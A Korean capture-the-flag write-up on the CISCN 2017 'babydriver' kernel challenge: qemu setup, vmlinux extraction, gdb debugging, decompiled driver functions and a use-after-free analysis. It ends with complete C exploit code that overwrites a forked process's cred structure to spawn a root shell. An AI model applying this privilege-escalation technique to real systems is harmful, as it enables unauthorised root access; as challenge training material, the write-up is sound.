[CISCN CTF 2017] babydriver
CISCN CTF 2017 babydriver
커널에 대한 기본 상식을 정리해놓았습니다.
목차
- Environment setup
- Extract file
- Extract vmlinux
- Remote kernel debugging
- Analysis
- Exploit
Environment setup
Extract file
압축 파일에 어떤 파일이 들어있는지 확인해봅시다.
babydriver.zip
babydriver/
├── boot.sh
├── bzImage
└── rootfs.cpio
이렇게 파일들이 들어있습니다.
bzImage
파일은 kernel파일이므로 제외하고 boot.sh
파일과 rootfs.cpio
파일을 확인해봅시다.
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio -kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 64M \
--nographic -smp cores=1,threads=1 -cpu kvm64,+smep
메모리는 64mb
만큼 할당하고, smep
보호기법을 걸어놨습니다. 그리고 kvm
을 사용하고 있다는 걸 알 수 있습니다.
저희는 추후에 커널을 디버깅하기 위해서 qemu
로 부팅해준 커널에 gdb
서버를 열어줘야 합니다.
방법은 간단한데, qemu
로 부팅할 때 -s
옵션을 추가해주면 부팅할 때 자동으로 1234
번 포트로 gdb
서버가 열립니다.
또, 만약 kernel panic
이 발생하면 -m 64M
옵션에서 메모리 크기를 적당히 크게 늘려서 할당해주면 잘 돌아갑니다.
vmware
는 기본적으로 kvm
이 실행이 안되므로 cpu설정에서 Virtualize Inter VT-x/EPT or AMD-V/RVI
을 체크해줘야 합니다.
rootfs.cpio
$ binwalk -e rootfs.cpio 1>/dev/null
$ cd _rootfs.cpio.extracted
$ binwalk -e 0 1>/dev/null
$ cd _0.extracted
$ ls -al
total 2782
drwxrwxrwx 1 root root 0 Apr 2 00:22 .
drwxrwxrwx 1 root root 0 Apr 2 00:22 ..
-rwxrwxrwx 1 root root 2844672 Apr 2 00:22 0.cpio
drwxrwxrwx 1 root root 4096 Apr 2 00:22 cpio-root
이렇게 .cpio
file을 extract할 수 있습니다.
(모든 kernel문제가 다 그런지는 모르겠지만, 이 문제에서 취약점이 존재하는 파일은 cpio-root/lib/modules/4.4.72/babydriver.ko
입니다.)
Extract vmlinux
이 문제는 vmlinux
파일을 제공해주지 않아서, bzImage커널 파일에서 extract해야 합니다.
apt install linux-headers-(uname -r)
/usr/src/linux-headers-(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
이러면 vmlinux파일을 구할 수 있습니다.
이렇게 추출한 파일은 정상적으로 빌드한 vmlinux파일이 아니기 때문에, 심볼이 깨진 상태 (stripped)입니다.
하지만 rop gadget을 구할 때나 디버깅을 할 때 필수적으로 필요하기 때문에, 문제에서 제공해주는 파일이 없다면, 이렇게 직접 구해주어야 합니다.
심볼은 커널을 부팅한 뒤 user 권한으로 /proc/kallsyms
파일을 읽어서 구할 수 있습니다.
만약에 안 된다면 init
파일을 수정해서 root
권한으로 심볼을 뽑아내면 됩니다.
find . | cpio -o --format=newc > ./rootfs.cpio
현재 디렉토리의 모든 file들을 cpio로 합치는 명령어입니다.
/proc/kallsyms
파일을 user권한으로 읽을 수 없다면 init
파일을 수정하고 위와같이 cpio로 묶어준 뒤, root 권한으로 심볼을 읽어올 수 있습니다.
Remote kernel debugging
가장 먼저 터미널을 추가적으로 하나 더 열어주고 커널을 부팅해줍니다.
터미널에서 /sys/module/babydriver/sections
경로에서 base 주소를 구해줍니다.
$ cd /sys/module/babydriver/sections
$ ls -al
total 0
drwxr-xr-x 2 root root 0 Apr 3 17:30 .
drwxr-xr-x 5 root root 0 Apr 3 17:30 ..
-r--r--r-- 1 root root 4096 Apr 3 17:30 .bss
-r--r--r-- 1 root root 4096 Apr 3 17:30 .data
-r--r--r-- 1 root root 4096 Apr 3 17:30 .exit.text
-r--r--r-- 1 root root 4096 Apr 3 17:30 .gnu.linkonce.this_module
-r--r--r-- 1 root root 4096 Apr 3 17:30 .init.text
-r--r--r-- 1 root root 4096 Apr 3 17:30 .note.gnu.build-id
-r--r--r-- 1 root root 4096 Apr 3 17:30 .rodata.str1.1
-r--r--r-- 1 root root 4096 Apr 3 17:30 .strtab
-r--r--r-- 1 root root 4096 Apr 3 17:30 .symtab
-r--r--r-- 1 root root 4096 Apr 3 17:30 .text
-r--r--r-- 1 root root 4096 Apr 3 17:30 __mcount_loc
$ cat .text
0xffffffffc0000000
$ cat .bss
0xffffffffc0002440
$ cat .data
0xffffffffc0002000
$ cat .exit.text
0xffffffffc0000170
이런식으로 base 주소를 구할 수 있습니다. (KASLR
이 꺼져있어서 고정적인 주소입니다.)
kernel base : 0xffffffffc0000000
$ gdb vmlinux -q
pwndbg> add-symbol-file cpio-root/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
pwndbg> target remote 0:1234
add-symbol-file <module_path> <base_addr>
명령어를 통해 아까 구한 커널 베이스를 베이스로 모듈의 심볼을 적용시킵니다.
target remote <host>:<port>
는 디버거로 리모트 디버깅을 attach하는 명령어입니다.
이러면 커널 디버깅을 위한 attach가 성공적으로 진행이 됩니다.
(/proc/kallsyms
파일을 심볼로 적용시키려면 방법이 복잡한 것 같길래 일단은 기본적인 방법으로 진행했습니다.)
이제 분석을 진행해봅시다.
Analysis
babydriver.ko
파일을 분석해봅시다.
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
babyrelease
함수는 /dev/babydev
device를 close
할 때 실행되는 함수입니다.
kfree
함수로 전역변수에 저장된 heap 포인터를 free시키는데, 전역변수 값을 초기화하지 않습니다.
즉 dangling pointer
취약점이 발생합니다.
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
babyopen
함수는 /dev/babydev
device를 open
할 때 실행되는 함수인데, 함수를 보면 0x40byte만큼 힙을 할당해서 device_buf
에 넣어주고, 0x40 값을 그대로 device_buf_len
변수에 넣습니다.
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 size)
{
size_t v3; // rdx
size_t arg3_size; // rbx
__int64 result; // rax
_fentry__(filp, command);
arg3_size = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(arg3_size, 37748928LL);
babydev_struct.device_buf_len = arg3_size;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&byte_2EB);
result = -22LL;
}
return result;
}
babyioctl
함수는 ioctl
함수에 file descriptor인자를 babydevice
로 넘겨주면 실행되는 함수입니다.
command
변수의 값이 65537이면, 버퍼를 free한 뒤, 3번째 인자의 값으로 버퍼를 재할당합니다.
그리고 device_buf_len
변수의 값을 3번째 인자의 값으로 바꿔줍니다.
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user(babydev_struct.device_buf, buffer, v4);
result = v6;
}
return result;
}
babywrite
함수는 heap 영역에 우리가 넘겨준 buffer값을 3번째 인자 길이만큼 복사해줍니다.
만약 device_buf_len
변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer, babydev_struct.device_buf, v4);
result = v6;
}
return result;
}
babyread
함수는 babywrite
함수와 반대로 커널의 heap 데이터를 유저 space의 버퍼에 적어줍니다.
마찬가지로 만약 device_buf_len
변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.
대충 이제 어떻게 익스할지 슬슬 감이옵니다.
Exploit
대충 알아낸 점을 정리하고, 시나리오를 생각해봅시다.
- 여러 번
device
를open
해도, 같은 전역변수를 사용함. close
할 때 전역변수 buffer를 0으로 초기화하지 않으므로dangling pointer
취약점 발생 (Use-After-Free
)
굿. 이제 시나리오를 생각해봅시다.
device
를 두 번open
해서 각각 다른 변수에fd
를 저장함.- 첫 번째
fd
를 통해ioctl
을 호출해서cred
구조체 크기(0xa8 byte)에 맞게 heap영역을 할당함. - 첫 번째
fd
를close
함. fork
를 호출하면 전역변수의 bufferheap
에 현재 권한의cred
구조체가 할당됨.- 두 번째
fd
를 통해write
함수를 호출해서,cred
구조체 멤버의id
들을root
권한으로 바꿔버림 system("/bin/sh")
=>get root
;
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
char buf[0x200];
int main() {
int fd1, fd2, pid;
fd1 = open("/dev/babydev", O_RDWR);
fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0xa8);
for (int i = 0; i < 0xa8; ++i) buf[i] = 'A';
write(fd1, buf, 0xa7);
close(fd1);
pid = fork();
if(pid < 0) {
puts("fork is failed..");
puts("Something worng..");
return 0;
}
if(pid == 0) {
ioctl(fd2, 65537, 0xa8);
for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
write(fd2, buf, 0x38);
system("id");
}
puts("Success!");
return 0;
}
위 코드를 토대로 babywrite
함수에 bp를 건 후 한 번 디버깅해봅시다.
처음 babywrite
함수의 bp에 걸린 후 copy_from_user
함수가 진행된 이후까지 진행해보면, 0xffff88000de64b40
영역에 힙이 할당되어, 'A'
가 잘 쓰여져있는 것을 확인할 수 있습니다.
계속 진행해봅시다.
또 babywrite
에 bp가 걸렸을 때 다시 그 힙 영역을 다시 확인해보면, 아까 close
함으로써 free시킨 영역이었기에, fork()
를 진행했을 때 복사된 cred
구조체가 할당되어있는 것을 확인할 수 있습니다.
...
if(pid == 0) {
ioctl(fd2, 65537, 0xa8);
for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
write(fd2, buf, 0x38);
...
이제 위 코드 부분으로 인해, fd2->device_buf
와 cred
구조체는 같은 주소값을 갖게 되며, 동시에 0x38만큼의 영역이 'B'
로 덮이게 됩니다.
이제 system("id")
의 결과를 한 번 볼까요?
$ ./solve
./solve
[ 36.908637] device open
[ 36.914202] device open
[ 36.916409] alloc done
[ 36.946315] device release
Success!
$ [ 36.961888] alloc done
uid=1111638594 gid=1111638594 groups=1000(ctf)
Success!
이렇게 uid
와 gid
가 바뀐 것을 확인할 수 있습니다.
이제 코드를 조금 수정해서 root
쉘을 획득해봅시다.
성공적으로 root
쉘을 획득했습니다.
solve.c
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
char buf[0x200];
int main() {
int fd1, fd2, pid;
fd1 = open("/dev/babydev", O_RDWR);
fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0xa8);
close(fd1);
pid = fork();
if(pid < 0) {
puts("fork is failed..");
puts("Something worng..");
exit(-1);
}
else if(pid == 0) {
ioctl(fd2, 65537, 0xa8);
for (int i = 0; i < 0xa8; ++i) buf[i] = '\x00';
write(fd2, buf, 0x38);
if(getuid() == 0)
system("/bin/sh");
else puts("I don't know why..");
exit(0);
}
else {
wait(0);
}
return 0;
}